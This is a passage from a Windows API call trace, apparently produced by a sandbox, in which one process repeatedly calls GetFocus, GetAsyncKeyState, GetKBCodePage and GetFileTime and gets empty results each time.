lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.670] GetFocus () returned 0x0 [0220.670] GetAsyncKeyState (vKey=58) returned 0 [0220.670] GetKBCodePage () returned 0x1b5 [0220.670] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.670] GetFocus () returned 0x0 [0220.670] GetAsyncKeyState (vKey=58) returned 0 [0220.670] GetKBCodePage () returned 0x1b5 [0220.670] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.670] GetFocus () returned 0x0 [0220.670] GetAsyncKeyState (vKey=58) returned 0 [0220.670] GetKBCodePage () returned 0x1b5 [0220.670] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.670] GetFocus () returned 0x0 [0220.670] GetAsyncKeyState (vKey=58) returned 0 [0220.670] GetKBCodePage () returned 0x1b5 [0220.671] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.671] GetFocus () returned 0x0 [0220.671] GetAsyncKeyState (vKey=58) returned 0 [0220.671] GetKBCodePage () returned 0x1b5 [0220.671] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.671] GetFocus () returned 0x0 [0220.671] GetAsyncKeyState (vKey=58) returned 0 [0220.671] GetKBCodePage () returned 0x1b5 [0220.671] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.671] GetFocus () returned 0x0 [0220.671] GetAsyncKeyState (vKey=58) returned 0 [0220.671] GetKBCodePage () returned 0x1b5 [0220.671] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.671] GetFocus () returned 0x0 [0220.671] GetAsyncKeyState (vKey=58) returned 0 [0220.671] GetKBCodePage () returned 0x1b5 [0220.671] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.671] GetFocus () returned 0x0 [0220.671] GetAsyncKeyState (vKey=58) returned 0 [0220.671] GetKBCodePage () returned 0x1b5 [0220.671] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.671] GetFocus () returned 0x0 [0220.671] GetAsyncKeyState (vKey=58) returned 0 [0220.671] GetKBCodePage () returned 0x1b5 [0220.671] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.671] GetFocus () returned 0x0 [0220.671] GetAsyncKeyState (vKey=58) returned 0 [0220.671] GetKBCodePage () returned 0x1b5 [0220.672] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.672] GetFocus () returned 0x0 [0220.672] GetAsyncKeyState (vKey=58) returned 0 [0220.672] GetKBCodePage () returned 0x1b5 [0220.672] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.672] GetFocus () returned 0x0 [0220.672] GetAsyncKeyState (vKey=58) returned 0 [0220.672] GetKBCodePage () returned 0x1b5 [0220.672] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.672] GetFocus () returned 0x0 [0220.672] GetAsyncKeyState (vKey=58) returned 0 [0220.672] GetKBCodePage () returned 0x1b5 [0220.672] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.672] GetFocus () returned 0x0 [0220.672] GetAsyncKeyState (vKey=58) returned 0 [0220.672] GetKBCodePage () returned 0x1b5 [0220.672] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.672] GetFocus () returned 0x0 [0220.672] GetAsyncKeyState (vKey=58) returned 0 [0220.672] GetKBCodePage () returned 0x1b5 [0220.672] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.672] GetFocus () returned 0x0 [0220.672] GetAsyncKeyState (vKey=58) returned 0 [0220.672] GetKBCodePage () returned 0x1b5 [0220.672] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.672] GetFocus () returned 0x0 [0220.672] GetAsyncKeyState (vKey=58) returned 0 [0220.672] GetKBCodePage () returned 0x1b5 [0220.672] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.672] GetFocus () returned 0x0 [0220.673] GetAsyncKeyState (vKey=58) returned 0 [0220.673] GetKBCodePage () returned 0x1b5 [0220.673] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.673] GetFocus () returned 0x0 [0220.673] GetAsyncKeyState (vKey=58) returned 0 [0220.673] GetKBCodePage () returned 0x1b5 [0220.673] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.673] GetFocus () returned 0x0 [0220.673] GetAsyncKeyState (vKey=58) returned 0 [0220.673] GetKBCodePage () returned 0x1b5 [0220.673] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.673] GetFocus () returned 0x0 [0220.673] GetAsyncKeyState (vKey=58) returned 0 [0220.673] GetKBCodePage () returned 0x1b5 [0220.673] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.673] GetFocus () returned 0x0 [0220.673] GetAsyncKeyState (vKey=58) returned 0 [0220.673] GetKBCodePage () returned 0x1b5 [0220.673] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.674] GetFocus () returned 0x0 [0220.676] GetAsyncKeyState (vKey=58) returned 0 [0220.676] GetKBCodePage () returned 0x1b5 [0220.676] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.676] GetFocus () returned 0x0 [0220.676] GetAsyncKeyState (vKey=58) returned 0 [0220.676] GetKBCodePage () returned 0x1b5 [0220.676] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.676] GetFocus () returned 0x0 [0220.676] GetAsyncKeyState (vKey=58) returned 0 [0220.676] GetKBCodePage () returned 0x1b5 [0220.676] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.676] GetFocus () returned 0x0 [0220.676] GetAsyncKeyState (vKey=58) returned 0 [0220.676] GetKBCodePage () returned 0x1b5 [0220.676] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.676] GetFocus () returned 0x0 [0220.676] GetAsyncKeyState (vKey=58) returned 0 [0220.676] GetKBCodePage () returned 0x1b5 [0220.676] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.676] GetFocus () returned 0x0 [0220.676] GetAsyncKeyState (vKey=58) returned 0 [0220.676] GetKBCodePage () returned 0x1b5 [0220.676] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.676] GetFocus () returned 0x0 [0220.676] GetAsyncKeyState (vKey=58) returned 0 [0220.676] GetKBCodePage () returned 0x1b5 [0220.676] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.676] GetFocus () returned 0x0 [0220.676] GetAsyncKeyState (vKey=58) returned 0 [0220.676] GetKBCodePage () returned 0x1b5 [0220.677] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.677] GetFocus () returned 0x0 [0220.677] GetAsyncKeyState (vKey=58) returned 0 [0220.677] GetKBCodePage () returned 0x1b5 [0220.677] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.677] GetFocus () returned 0x0 [0220.677] GetAsyncKeyState (vKey=58) returned 0 [0220.677] GetKBCodePage () returned 0x1b5 [0220.677] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.677] GetFocus () returned 0x0 [0220.677] GetAsyncKeyState (vKey=58) returned 0 [0220.677] GetKBCodePage () returned 0x1b5 [0220.677] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.677] GetFocus () returned 0x0 [0220.677] GetAsyncKeyState (vKey=58) returned 0 [0220.677] GetKBCodePage () returned 0x1b5 [0220.677] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.677] GetFocus () returned 0x0 [0220.677] GetAsyncKeyState (vKey=58) returned 0 [0220.677] GetKBCodePage () returned 0x1b5 [0220.677] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.677] GetFocus () returned 0x0 [0220.677] GetAsyncKeyState (vKey=58) returned 0 [0220.677] GetKBCodePage () returned 0x1b5 [0220.677] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.677] GetFocus () returned 0x0 [0220.677] GetAsyncKeyState (vKey=58) returned 0 [0220.677] GetKBCodePage () returned 0x1b5 [0220.677] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.677] GetFocus () returned 0x0 [0220.677] GetAsyncKeyState (vKey=58) returned 0 [0220.677] GetKBCodePage () returned 0x1b5 [0220.677] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.678] GetFocus () returned 0x0 [0220.678] GetAsyncKeyState (vKey=58) returned 0 [0220.678] GetKBCodePage () returned 0x1b5 [0220.678] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.678] GetFocus () returned 0x0 [0220.678] GetAsyncKeyState (vKey=58) returned 0 [0220.678] GetKBCodePage () returned 0x1b5 [0220.678] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.678] GetFocus () returned 0x0 [0220.678] GetAsyncKeyState (vKey=58) returned 0 [0220.678] GetKBCodePage () returned 0x1b5 [0220.678] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.678] GetFocus () returned 0x0 [0220.678] GetAsyncKeyState (vKey=58) returned 0 [0220.678] GetKBCodePage () returned 0x1b5 [0220.678] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.678] GetFocus () returned 0x0 [0220.678] GetAsyncKeyState (vKey=58) returned 0 [0220.678] GetKBCodePage () returned 0x1b5 [0220.678] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.678] GetFocus () returned 0x0 [0220.678] GetAsyncKeyState (vKey=58) returned 0 [0220.678] GetKBCodePage () returned 0x1b5 [0220.678] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.678] GetFocus () returned 0x0 [0220.678] GetAsyncKeyState (vKey=58) returned 0 [0220.678] GetKBCodePage () returned 0x1b5 [0220.678] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.678] GetFocus () returned 0x0 [0220.678] GetAsyncKeyState (vKey=58) returned 0 [0220.678] GetKBCodePage () returned 0x1b5 [0220.678] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.678] GetFocus () returned 0x0 [0220.678] GetAsyncKeyState (vKey=58) returned 0 [0220.679] GetKBCodePage () returned 0x1b5 [0220.679] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.679] GetFocus () returned 0x0 [0220.679] GetAsyncKeyState (vKey=58) returned 0 [0220.679] GetKBCodePage () returned 0x1b5 [0220.679] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.679] GetFocus () returned 0x0 [0220.679] GetAsyncKeyState (vKey=58) returned 0 [0220.679] GetKBCodePage () returned 0x1b5 [0220.679] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.679] GetFocus () returned 0x0 [0220.679] GetAsyncKeyState (vKey=58) returned 0 [0220.679] GetKBCodePage () returned 0x1b5 [0220.679] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.679] GetFocus () returned 0x0 [0220.679] GetAsyncKeyState (vKey=58) returned 0 [0220.679] GetKBCodePage () returned 0x1b5 [0220.679] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.679] GetFocus () returned 0x0 [0220.679] 